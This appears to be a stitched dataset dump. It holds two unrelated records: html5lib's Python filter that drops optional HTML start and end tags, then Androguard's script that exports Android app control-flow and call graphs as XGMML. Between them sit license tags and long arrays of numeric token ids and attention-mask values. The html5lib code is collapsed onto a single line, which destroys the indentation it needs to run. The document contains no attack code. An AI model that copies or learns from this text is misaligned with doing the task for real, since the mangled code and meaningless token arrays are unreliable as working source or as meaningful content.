from __future__ import absolute_import, division, unicode_literals from . import _base class Filter(_base.Filter): def slider(self): previous1 = previous2 = None for token in self.source: if previous1 is not None: yield previous2, previous1, token previous2 = previous1 previous1 = token yield previous2, previous1, None def __iter__(self): for previous, token, next in self.slider(): type = token["type"] if type == "StartTag": if (token["data"] or not self.is_optional_start(token["name"], previous, next)): yield token elif type == "EndTag": if not self.is_optional_end(token["name"], next): yield token else: yield token def is_optional_start(self, tagname, previous, next): type = next and next["type"] or None if tagname in 'html': # An html element's start tag may be omitted if the first thing # inside the html element is not a space character or a comment. return type not in ("Comment", "SpaceCharacters") elif tagname == 'head': # A head element's start tag may be omitted if the first thing # inside the head element is an element. # XXX: we also omit the start tag if the head element is empty if type in ("StartTag", "EmptyTag"): return True elif type == "EndTag": return next["name"] == "head" elif tagname == 'body': # A body element's start tag may be omitted if the first thing # inside the body element is not a space character or a comment, # except if the first thing inside the body element is a script # or style element and the node immediately preceding the body # element is a head element whose end tag has been omitted. if type in ("Comment", "SpaceCharacters"): return False elif type == "StartTag": # XXX: we do not look at the preceding event, so we never omit # the body element's start tag if it's followed by a script or # a style element. return next["name"] not in ('script', 'style') else: return True elif tagname == 'colgroup': # A colgroup element's start tag may be omitted if the first thing # inside the colgroup element is a col element, and if the element # is not immediately preceeded by another colgroup element whose # end tag has been omitted. if type in ("StartTag", "EmptyTag"): # XXX: we do not look at the preceding event, so instead we never # omit the colgroup element's end tag when it is immediately # followed by another colgroup element. See is_optional_end. return next["name"] == "col" else: return False elif tagname == 'tbody': # A tbody element's start tag may be omitted if the first thing # inside the tbody element is a tr element, and if the element is # not immediately preceeded by a tbody, thead, or tfoot element # whose end tag has been omitted. if type == "StartTag": # omit the thead and tfoot elements' end tag when they are # immediately followed by a tbody element. See is_optional_end. if previous and previous['type'] == 'EndTag' and \ previous['name'] in ('tbody', 'thead', 'tfoot'): return False return next["name"] == 'tr' else: return False return False def is_optional_end(self, tagname, next): type = next and next["type"] or None if tagname in ('html', 'head', 'body'): # An html element's end tag may be omitted if the html element # is not immediately followed by a space character or a comment. return type not in ("Comment", "SpaceCharacters") elif tagname in ('li', 'optgroup', 'tr'): # A li element's end tag may be omitted if the li element is # immediately followed by another li element or if there is # no more content in the parent element. # An optgroup element's end tag may be omitted if the optgroup # element is immediately followed by another optgroup element, # or if there is no more content in the parent element. # A tr element's end tag may be omitted if the tr element is # immediately followed by another tr element, or if there is # no more content in the parent element. if type == "StartTag": return next["name"] == tagname else: return type == "EndTag" or type is None elif tagname in ('dt', 'dd'): # A dt element's end tag may be omitted if the dt element is # immediately followed by another dt element or a dd element. # A dd element's end tag may be omitted if the dd element is # immediately followed by another dd element or a dt element, # or if there is no more content in the parent element. if type == "StartTag": return next["name"] in ('dt', 'dd') elif tagname == 'dd': return type == "EndTag" or type is None else: return False elif tagname == 'p': # A p element's end tag may be omitted if the p element is # immediately followed by an address, article, aside, # blockquote, datagrid, dialog, dir, div, dl, fieldset, # footer, form, h1, h2, h3, h4, h5, h6, header, hr, menu, # nav, ol, p, pre, section, table, or ul, element, or if # there is no more content in the parent element. if type in ("StartTag", "EmptyTag"): return next["name"] in ('address', 'article', 'aside', 'blockquote', 'datagrid', 'dialog', 'dir', 'div', 'dl', 'fieldset', 'footer', 'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'header', 'hr', 'menu', 'nav', 'ol', 'p', 'pre', 'section', 'table', 'ul') else: return type == "EndTag" or type is None elif tagname == 'option': # An option element's end tag may be omitted if the option # element is immediately followed by another option element, # or if it is immediately followed by an <code>optgroup</code> # element, or if there is no more content in the parent # element. if type == "StartTag": return next["name"] in ('option', 'optgroup') else: return type == "EndTag" or type is None elif tagname in ('rt', 'rp'): # An rt element's end tag may be omitted if the rt element is # immediately followed by an rt or rp element, or if there is # no more content in the parent element. # An rp element's end tag may be omitted if the rp element is # immediately followed by an rt or rp element, or if there is # no more content in the parent element. if type == "StartTag": return next["name"] in ('rt', 'rp') else: return type == "EndTag" or type is None elif tagname == 'colgroup': # A colgroup element's end tag may be omitted if the colgroup # element is not immediately followed by a space character or # a comment. if type in ("Comment", "SpaceCharacters"): return False elif type == "StartTag": # XXX: we also look for an immediately following colgroup # element. See is_optional_start. return next["name"] != 'colgroup' else: return True elif tagname in ('thead', 'tbody'): # A thead element's end tag may be omitted if the thead element # is immediately followed by a tbody or tfoot element. # A tbody element's end tag may be omitted if the tbody element # is immediately followed by a tbody or tfoot element, or if # there is no more content in the parent element. # A tfoot element's end tag may be omitted if the tfoot element # is immediately followed by a tbody element, or if there is no # more content in the parent element. # XXX: we never omit the end tag when the following element is # a tbody. See is_optional_start. if type == "StartTag": return next["name"] in ['tbody', 'tfoot'] elif tagname == 'tbody': return type == "EndTag" or type is None else: return False elif tagname == 'tfoot': # A tfoot element's end tag may be omitted if the tfoot element # is immediately followed by a tbody element, or if there is no # more content in the parent element. # XXX: we never omit the end tag when the following element is # a tbody. See is_optional_start. if type == "StartTag": return next["name"] == 'tbody' else: return type == "EndTag" or type is None elif tagname in ('td', 'th'): # A td element's end tag may be omitted if the td element is # immediately followed by a td or th element, or if there is # no more content in the parent element. # A th element's end tag may be omitted if the th element is # immediately followed by a td or th element, or if there is # no more content in the parent element. if type == "StartTag": return next["name"] in ('td', 'th') else: return type == "EndTag" or type is None return False
gpl-2.0
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 2649, 63, 5955, 199, 199, 504, 1275, 492, 485, 1095, 421, 199, 533, 9388, 1547, 1095, 14, 4131, 304, 272, 347, 31608, 8, 277, 304, 267, 4136, 17, 275, 4136, 18, 275, 488, 267, 367, 1526, 315, 291, 14, 1365, 26, 288, 340, 4136, 17, 365, 440, 488, 26, 355, 1995, 4136, 18, 12, 4136, 17, 12, 1526, 288, 4136, 18, 275, 4136, 17, 288, 4136, 17, 275, 1526, 267, 1995, 4136, 18, 12, 4136, 17, 12, 488, 339, 347, 636, 1661, 721, 277, 304, 267, 367, 4136, 12, 1526, 12, 2163, 315, 291, 14, 20860, 837, 288, 730, 275, 1526, 905, 466, 937, 288, 340, 730, 508, 298, 17697, 582, 355, 340, 334, 1418, 905, 576, 937, 503, 717, 440, 291, 14, 374, 63, 4144, 63, 928, 8, 1418, 905, 354, 2255, 4136, 12, 2163, 2298, 490, 1995, 1526, 288, 916, 730, 508, 298, 16906, 582, 355, 340, 440, 291, 14, 374, 63, 4144, 63, 500, 8, 1418, 905, 354, 2255, 2163, 304, 490, 1995, 1526, 288, 587, 26, 355, 1995, 1526, 339, 347, 365, 63, 4144, 63, 928, 8, 277, 12, 24009, 12, 4136, 12, 2163, 304, 267, 730, 275, 2163, 436, 2163, 905, 466, 937, 503, 488, 267, 340, 24009, 315, 283, 1360, 356, 288, 327, 1626, 3517, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 3517, 1819, 365, 440, 282, 4601, 4528, 503, 282, 3721, 14, 288, 372, 730, 440, 315, 1689, 7488, 401, 298, 28501, 531, 267, 916, 24009, 508, 283, 2993, 356, 288, 327, 437, 4854, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 4854, 1819, 365, 376, 1819, 14, 288, 327, 5787, 26, 781, 2597, 19413, 314, 1343, 1947, 340, 314, 4854, 1819, 365, 2701, 288, 340, 730, 315, 1689, 17697, 401, 298, 4699, 1931, 2349, 355, 372, 715, 288, 916, 730, 508, 298, 16906, 582, 355, 372, 2163, 905, 354, 937, 508, 298, 2993, 2, 267, 916, 24009, 508, 283, 2030, 356, 288, 327, 437, 2396, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 2396, 1819, 365, 440, 282, 4601, 4528, 503, 282, 3721, 12, 288, 327, 871, 340, 314, 1642, 8377, 6272, 314, 2396, 1819, 365, 282, 2884, 288, 327, 503, 3449, 1819, 436, 314, 1031, 9939, 22627, 314, 2396, 288, 327, 1819, 365, 282, 4854, 1819, 7447, 1284, 1947, 965, 2757, 11684, 14, 288, 340, 730, 315, 1689, 7488, 401, 298, 28501, 2349, 355, 372, 756, 288, 916, 730, 508, 298, 17697, 582, 355, 327, 5787, 26, 781, 886, 440, 3648, 737, 314, 22627, 1566, 12, 880, 781, 7078, 19413, 355, 327, 314, 2396, 1819, 1159, 1343, 1947, 340, 652, 1159, 9437, 701, 282, 2884, 503, 355, 327, 282, 3449, 1819, 14, 355, 372, 2163, 905, 354, 937, 440, 315, 661, 1579, 297, 283, 2487, 358, 288, 587, 26, 355, 372, 715, 267, 916, 24009, 508, 283, 761, 923, 356, 288, 327, 437, 1048, 923, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 1048, 923, 1819, 365, 282, 1048, 1819, 12, 436, 340, 314, 1819, 288, 327, 365, 440, 9939, 9222, 6133, 701, 4573, 1048, 923, 1819, 7447, 288, 327, 1284, 1947, 965, 2757, 11684, 14, 288, 340, 730, 315, 1689, 17697, 401, 298, 4699, 1931, 2349, 355, 327, 5787, 26, 781, 886, 440, 3648, 737, 314, 22627, 1566, 12, 880, 3140, 781, 7078, 355, 327, 19413, 314, 1048, 923, 1819, 1159, 1284, 1947, 1380, 652, 365, 9939, 355, 327, 9437, 701, 4573, 1048, 923, 1819, 14, 1666, 365, 63, 4144, 63, 500, 14, 355, 372, 2163, 905, 354, 937, 508, 298, 761, 2, 288, 587, 26, 355, 372, 756, 267, 916, 24009, 508, 283, 17847, 356, 288, 327, 437, 307, 2030, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 307, 2030, 1819, 365, 282, 5651, 1819, 12, 436, 340, 314, 1819, 365, 288, 327, 440, 9939, 9222, 6133, 701, 282, 307, 2030, 12, 314, 350, 12, 503, 307, 11407, 1819, 288, 327, 7447, 1284, 1947, 965, 2757, 11684, 14, 288, 340, 730, 508, 298, 17697, 582, 355, 327, 19413, 314, 314, 350, 436, 307, 11407, 4008, 7, 1284, 1947, 1380, 2985, 787, 355, 327, 9939, 9437, 701, 282, 307, 2030, 1819, 14, 1666, 365, 63, 4144, 63, 500, 14, 355, 340, 4136, 436, 4136, 459, 466, 418, 508, 283, 16906, 7, 436, 971, 717, 4136, 459, 354, 418, 315, 661, 17847, 297, 283, 21519, 297, 283, 84, 11407, 735, 490, 372, 756, 355, 372, 2163, 905, 354, 937, 508, 283, 454, 7, 288, 587, 26, 355, 372, 756, 267, 372, 756, 339, 347, 365, 63, 4144, 63, 500, 8, 277, 12, 24009, 12, 2163, 304, 267, 730, 275, 2163, 436, 2163, 905, 466, 937, 503, 488, 267, 340, 24009, 315, 661, 1360, 297, 283, 2993, 297, 283, 2030, 735, 288, 327, 1626, 3517, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 3517, 1819, 288, 327, 365, 440, 9939, 9437, 701, 282, 4601, 4528, 503, 282, 3721, 14, 288, 372, 730, 440, 315, 1689, 7488, 401, 298, 28501, 531, 267, 916, 24009, 315, 661, 317, 297, 283, 2992, 923, 297, 283, 454, 735, 288, 327, 437, 1212, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 1212, 1819, 365, 288, 327, 9939, 9437, 701, 4573, 1212, 1819, 503, 340, 2337, 365, 288, 327, 949, 1655, 1564, 315, 314, 1676, 1819, 14, 288, 327, 1626, 2450, 923, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 2450, 923, 288, 327, 1819, 365, 9939, 9437, 701, 4573, 2450, 923, 1819, 12, 288, 327, 503, 340, 2337, 365, 949, 1655, 1564, 315, 314, 1676, 1819, 14, 288, 327, 437, 5651, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 5651, 1819, 365, 288, 327, 9939, 9437, 701, 4573, 5651, 1819, 12, 503, 340, 2337, 365, 288, 327, 949, 1655, 1564, 315, 314, 1676, 1819, 14, 288, 340, 730, 508, 298, 17697, 582, 355, 372, 2163, 905, 354, 937, 508, 24009, 288, 587, 26, 355, 372, 730, 508, 298, 16906, 2 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 12, 2649, 63, 5955, 199, 199, 504, 1275, 492, 485, 1095, 421, 199, 533, 9388, 1547, 1095, 14, 4131, 304, 272, 347, 31608, 8, 277, 304, 267, 4136, 17, 275, 4136, 18, 275, 488, 267, 367, 1526, 315, 291, 14, 1365, 26, 288, 340, 4136, 17, 365, 440, 488, 26, 355, 1995, 4136, 18, 12, 4136, 17, 12, 1526, 288, 4136, 18, 275, 4136, 17, 288, 4136, 17, 275, 1526, 267, 1995, 4136, 18, 12, 4136, 17, 12, 488, 339, 347, 636, 1661, 721, 277, 304, 267, 367, 4136, 12, 1526, 12, 2163, 315, 291, 14, 20860, 837, 288, 730, 275, 1526, 905, 466, 937, 288, 340, 730, 508, 298, 17697, 582, 355, 340, 334, 1418, 905, 576, 937, 503, 717, 440, 291, 14, 374, 63, 4144, 63, 928, 8, 1418, 905, 354, 2255, 4136, 12, 2163, 2298, 490, 1995, 1526, 288, 916, 730, 508, 298, 16906, 582, 355, 340, 440, 291, 14, 374, 63, 4144, 63, 500, 8, 1418, 905, 354, 2255, 2163, 304, 490, 1995, 1526, 288, 587, 26, 355, 1995, 1526, 339, 347, 365, 63, 4144, 63, 928, 8, 277, 12, 24009, 12, 4136, 12, 2163, 304, 267, 730, 275, 2163, 436, 2163, 905, 466, 937, 503, 488, 267, 340, 24009, 315, 283, 1360, 356, 288, 327, 1626, 3517, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 3517, 1819, 365, 440, 282, 4601, 4528, 503, 282, 3721, 14, 288, 372, 730, 440, 315, 1689, 7488, 401, 298, 28501, 531, 267, 916, 24009, 508, 283, 2993, 356, 288, 327, 437, 4854, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 4854, 1819, 365, 376, 1819, 14, 288, 327, 5787, 26, 781, 2597, 19413, 314, 1343, 1947, 340, 314, 4854, 1819, 365, 2701, 288, 340, 730, 315, 1689, 17697, 401, 298, 4699, 1931, 2349, 355, 372, 715, 288, 916, 730, 508, 298, 16906, 582, 355, 372, 2163, 905, 354, 937, 508, 298, 2993, 2, 267, 916, 24009, 508, 283, 2030, 356, 288, 327, 437, 2396, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 2396, 1819, 365, 440, 282, 4601, 4528, 503, 282, 3721, 12, 288, 327, 871, 340, 314, 1642, 8377, 6272, 314, 2396, 1819, 365, 282, 2884, 288, 327, 503, 3449, 1819, 436, 314, 1031, 9939, 22627, 314, 2396, 288, 327, 1819, 365, 282, 4854, 1819, 7447, 1284, 1947, 965, 2757, 11684, 14, 288, 340, 730, 315, 1689, 7488, 401, 298, 28501, 2349, 355, 372, 756, 288, 916, 730, 508, 298, 17697, 582, 355, 327, 5787, 26, 781, 886, 440, 3648, 737, 314, 22627, 1566, 12, 880, 781, 7078, 19413, 355, 327, 314, 2396, 1819, 1159, 1343, 1947, 340, 652, 1159, 9437, 701, 282, 2884, 503, 355, 327, 282, 3449, 1819, 14, 355, 372, 2163, 905, 354, 937, 440, 315, 661, 1579, 297, 283, 2487, 358, 288, 587, 26, 355, 372, 715, 267, 916, 24009, 508, 283, 761, 923, 356, 288, 327, 437, 1048, 923, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 1048, 923, 1819, 365, 282, 1048, 1819, 12, 436, 340, 314, 1819, 288, 327, 365, 440, 9939, 9222, 6133, 701, 4573, 1048, 923, 1819, 7447, 288, 327, 1284, 1947, 965, 2757, 11684, 14, 288, 340, 730, 315, 1689, 17697, 401, 298, 4699, 1931, 2349, 355, 327, 5787, 26, 781, 886, 440, 3648, 737, 314, 22627, 1566, 12, 880, 3140, 781, 7078, 355, 327, 19413, 314, 1048, 923, 1819, 1159, 1284, 1947, 1380, 652, 365, 9939, 355, 327, 9437, 701, 4573, 1048, 923, 1819, 14, 1666, 365, 63, 4144, 63, 500, 14, 355, 372, 2163, 905, 354, 937, 508, 298, 761, 2, 288, 587, 26, 355, 372, 756, 267, 916, 24009, 508, 283, 17847, 356, 288, 327, 437, 307, 2030, 1819, 1159, 1343, 1947, 1443, 506, 11684, 340, 314, 1642, 8377, 288, 327, 6272, 314, 307, 2030, 1819, 365, 282, 5651, 1819, 12, 436, 340, 314, 1819, 365, 288, 327, 440, 9939, 9222, 6133, 701, 282, 307, 2030, 12, 314, 350, 12, 503, 307, 11407, 1819, 288, 327, 7447, 1284, 1947, 965, 2757, 11684, 14, 288, 340, 730, 508, 298, 17697, 582, 355, 327, 19413, 314, 314, 350, 436, 307, 11407, 4008, 7, 1284, 1947, 1380, 2985, 787, 355, 327, 9939, 9437, 701, 282, 307, 2030, 1819, 14, 1666, 365, 63, 4144, 63, 500, 14, 355, 340, 4136, 436, 4136, 459, 466, 418, 508, 283, 16906, 7, 436, 971, 717, 4136, 459, 354, 418, 315, 661, 17847, 297, 283, 21519, 297, 283, 84, 11407, 735, 490, 372, 756, 355, 372, 2163, 905, 354, 937, 508, 283, 454, 7, 288, 587, 26, 355, 372, 756, 267, 372, 756, 339, 347, 365, 63, 4144, 63, 500, 8, 277, 12, 24009, 12, 2163, 304, 267, 730, 275, 2163, 436, 2163, 905, 466, 937, 503, 488, 267, 340, 24009, 315, 661, 1360, 297, 283, 2993, 297, 283, 2030, 735, 288, 327, 1626, 3517, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 3517, 1819, 288, 327, 365, 440, 9939, 9437, 701, 282, 4601, 4528, 503, 282, 3721, 14, 288, 372, 730, 440, 315, 1689, 7488, 401, 298, 28501, 531, 267, 916, 24009, 315, 661, 317, 297, 283, 2992, 923, 297, 283, 454, 735, 288, 327, 437, 1212, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 1212, 1819, 365, 288, 327, 9939, 9437, 701, 4573, 1212, 1819, 503, 340, 2337, 365, 288, 327, 949, 1655, 1564, 315, 314, 1676, 1819, 14, 288, 327, 1626, 2450, 923, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 2450, 923, 288, 327, 1819, 365, 9939, 9437, 701, 4573, 2450, 923, 1819, 12, 288, 327, 503, 340, 2337, 365, 949, 1655, 1564, 315, 314, 1676, 1819, 14, 288, 327, 437, 5651, 1819, 1159, 1284, 1947, 1443, 506, 11684, 340, 314, 5651, 1819, 365, 288, 327, 9939, 9437, 701, 4573, 5651, 1819, 12, 503, 340, 2337, 365, 288, 327, 949, 1655, 1564, 315, 314, 1676, 1819, 14, 288, 340, 730, 508, 298, 17697, 582, 355, 372, 2163, 905, 354, 937, 508, 24009, 288, 587, 26, 355, 372, 730, 508, 298, 16906, 2, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
cdht/androguard
androxgmml.py
9
11151
#!/usr/bin/env python # This file is part of Androguard. # # Copyright (C) 2012, Anthony Desnos <desnos at t0t0.fr> # All rights reserved. # # Androguard is free software: you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Androguard is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public License # along with Androguard. If not, see <http://www.gnu.org/licenses/>. from xml.sax.saxutils import escape import sys, os from optparse import OptionParser from androguard.core.androgen import Androguard from androguard.core.analysis import analysis option_0 = { 'name' : ('-i', '--input'), 'help' : 'filename input', 'nargs' : 1 } option_1 = { 'name' : ('-o', '--output'), 'help' : 'filename output of the xgmml', 'nargs' : 1 } option_2 = { 'name' : ('-f', '--functions'), 'help' : 'include function calls', 'action' : 'count' } option_3 = { 'name' : ('-e', '--externals'), 'help' : 'include extern function calls', 'action' : 'count' } option_4 = { 'name' : ('-v', '--version'), 'help' : 'version of the API', 'action' : 'count' } options = [option_0, option_1, option_2, option_3, option_4] METHODS_ID = {} EXTERNAL_METHODS_ID = {} NODES_ID = {} EDGES_ID = {} NODE_GRAPHIC = { "classic" : { "h" : 20.0, "w" : 20.0, "type" : "ELLIPSE", "width" : 1, "fill" : "#e1e1e1", "outline" : "#000000", }, "extern" : { "h" : 20.0, "w" : 20.0, "type" : "ELLIPSE", "width" : 1, "fill" : "#ff8c00", "outline" : "#000000", } } EDGE_GRAPHIC = { "cfg" : { "width" : 2, "fill" : "#0000e1", }, "fcg" : { "width" : 3, "fill" : "#9acd32", }, "efcg" : { "width" : 3, "fill" : "#808000", } } def get_node_name(method, bb): return "%s-%s-%s" % ( method.get_class_name(), escape(bb.name), escape(method.get_descriptor()) ) def export_xgmml_cfg(g, fd): method = g.get_method() name = method.get_name() class_name = method.get_class_name() descriptor = method.get_descriptor() if method.get_code() != None: size_ins = method.get_code().get_length() for i in g.basic_blocks.get(): fd.write("<node id=\"%d\" label=\"%s\">\n" % (len(NODES_ID), get_node_name(method, i))) fd.write("<att type=\"string\" name=\"classname\" value=\"%s\"/>\n" % (escape(class_name))) fd.write("<att type=\"string\" name=\"name\" value=\"%s\"/>\n" % (escape(name))) fd.write("<att type=\"string\" name=\"descriptor\" value=\"%s\"/>\n" % (escape(descriptor))) fd.write("<att type=\"integer\" name=\"offset\" value=\"%d\"/>\n" % (i.start)) cl = NODE_GRAPHIC["classic"] width = cl["width"] fill = cl["fill"] # No child ... if i.childs == []: fill = "#87ceeb" if i.start == 0: fd.write("<att type=\"string\" name=\"node.label\" value=\"%s\\n%s\"/>\n" % (escape(name), i.get_instructions()[-1].get_name())) width = 3 fill = "#ff0000" METHODS_ID[ class_name + name + descriptor ] = len(NODES_ID) else: fd.write("<att type=\"string\" name=\"node.label\" value=\"0x%x\\n%s\"/>\n" % (i.start, i.get_instructions()[-1].get_name())) size = 0 for tmp_ins in i.get_instructions(): size += (tmp_ins.get_length() / 2) h = ((size / float(size_ins)) * 20) + cl["h"] fd.write("<graphics type=\"%s\" h=\"%.1f\" w=\"%.1f\" width=\"%d\" fill=\"%s\" outline=\"%s\">\n" % ( cl["type"], h, h, width, fill, cl["outline"])) fd.write("</graphics>\n") fd.write("</node>\n") NODES_ID[ class_name + i.name + descriptor ] = len(NODES_ID) for i in g.basic_blocks.get(): for j in i.childs: if j[-1] != None: label = "%s (cfg) %s" % (get_node_name(method, i), get_node_name(method, j[-1])) id = len(NODES_ID) + len(EDGES_ID) fd.write( "<edge id=\"%d\" label=\"%s\" source=\"%d\" target=\"%d\">\n" % (id, label, NODES_ID[ class_name + i.name + descriptor ], NODES_ID[ class_name + j[-1].name + descriptor ]) ) cl = EDGE_GRAPHIC["cfg"] fd.write("<graphics width=\"%d\" fill=\"%s\">\n" % (cl["width"], cl["fill"]) ) fd.write("</graphics>\n") fd.write("</edge>\n") EDGES_ID[ label ] = id def export_xgmml_fcg(a, x, fd): classes = a.get_classes_names() # Methods flow graph for m, _ in x.get_tainted_packages().get_packages(): paths = m.get_methods() for j in paths: if j.get_method().get_class_name() in classes and m.get_info() in classes: if j.get_access_flag() == analysis.TAINTED_PACKAGE_CALL: t = m.get_info() + j.get_name() + j.get_descriptor() if t not in METHODS_ID: continue bb1 = x.get_method( j.get_method() ).basic_blocks.get_basic_block( j.get_idx() ) node1 = get_node_name(j.get_method(), bb1) + "@0x%x" % j.get_idx() node2 = "%s-%s-%s" % (m.get_info(), escape(j.get_name()), escape(j.get_descriptor())) label = "%s (fcg) %s" % (node1, node2) if label in EDGES_ID: continue id = len(NODES_ID) + len(EDGES_ID) fd.write( "<edge id=\"%d\" label=\"%s\" source=\"%d\" target=\"%d\">\n" % (id, label, NODES_ID[ j.get_method().get_class_name() + bb1.name + j.get_method().get_descriptor() ], METHODS_ID[ m.get_info() + j.get_name() + j.get_descriptor() ]) ) cl = EDGE_GRAPHIC["fcg"] fd.write("<graphics width=\"%d\" fill=\"%s\">\n" % (cl["width"], cl["fill"]) ) fd.write("</graphics>\n") fd.write("</edge>\n") EDGES_ID[ label ] = id def export_xgmml_efcg(a, x, fd): classes = a.get_classes_names() # Methods flow graph for m, _ in x.get_tainted_packages().get_packages(): paths = m.get_methods() for j in paths: if j.get_method().get_class_name() in classes and m.get_info() not in classes: if j.get_access_flag() == analysis.TAINTED_PACKAGE_CALL: t = m.get_info() + j.get_name() + j.get_descriptor() if t not in EXTERNAL_METHODS_ID: fd.write("<node id=\"%d\" label=\"%s\">\n" % (len(NODES_ID), escape(t))) fd.write("<att type=\"string\" name=\"classname\" value=\"%s\"/>\n" % (escape(m.get_info()))) fd.write("<att type=\"string\" name=\"name\" value=\"%s\"/>\n" % (escape(j.get_name()))) fd.write("<att type=\"string\" name=\"descriptor\" value=\"%s\"/>\n" % (escape(j.get_descriptor()))) cl = NODE_GRAPHIC["extern"] fd.write("<att type=\"string\" name=\"node.label\" value=\"%s\\n%s\\n%s\"/>\n" % (escape(m.get_info()), escape(j.get_name()), escape(j.get_descriptor()))) fd.write("<graphics type=\"%s\" h=\"%.1f\" w=\"%.1f\" width=\"%d\" fill=\"%s\" outline=\"%s\">\n" % ( cl["type"], cl["h"], cl["h"], cl["width"], cl["fill"], cl["outline"])) fd.write("</graphics>\n") fd.write("</node>\n") NODES_ID[ t ] = len(NODES_ID) EXTERNAL_METHODS_ID[ t ] = NODES_ID[ t ] bb1 = x.get_method( j.get_method() ).basic_blocks.get_basic_block( j.get_idx() ) node1 = get_node_name(j.get_method(), bb1) + "@0x%x" % j.get_idx() node2 = "%s-%s-%s" % (m.get_info(), escape(j.get_name()), escape(j.get_descriptor())) label = "%s (efcg) %s" % (node1, node2) if label in EDGES_ID: continue id = len(NODES_ID) + len(EDGES_ID) fd.write( "<edge id=\"%d\" label=\"%s\" source=\"%d\" target=\"%d\">\n" % (id, label, NODES_ID[ j.get_method().get_class_name() + bb1.name + j.get_method().get_descriptor() ], EXTERNAL_METHODS_ID[ m.get_info() + j.get_name() + j.get_descriptor() ]) ) cl = EDGE_GRAPHIC["efcg"] fd.write("<graphics width=\"%d\" fill=\"%s\">\n" % (cl["width"], cl["fill"]) ) fd.write("</graphics>\n") fd.write("</edge>\n") EDGES_ID[ label ] = id def export_apps_to_xgmml( input, output, fcg, efcg ): a = Androguard( [ input ] ) with open(output, "w") as fd: fd.write("<?xml version='1.0'?>\n") fd.write("<graph label=\"Androguard XGMML %s\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:ns1=\"http://www.w3.org/1999/xlink\" xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\" xmlns=\"http://www.cs.rpi.edu/XGMML\" directed=\"1\">\n" % (os.path.basename(input))) for vm in a.get_vms(): x = analysis.VMAnalysis( vm ) # CFG for method in vm.get_methods(): g = x.get_method( method ) export_xgmml_cfg(g, fd) if fcg: export_xgmml_fcg(vm, x, fd) if efcg: export_xgmml_efcg(vm, x, fd) fd.write("</graph>") def main(options, arguments): if options.input != None and options.output != None: export_apps_to_xgmml( options.input, options.output, options.functions, options.externals ) if __name__ == "__main__": parser = OptionParser() for option in options: param = option['name'] del option['name'] parser.add_option(*param, **option) options, arguments = parser.parse_args() sys.argv[:] = arguments main(options, arguments)
apache-2.0
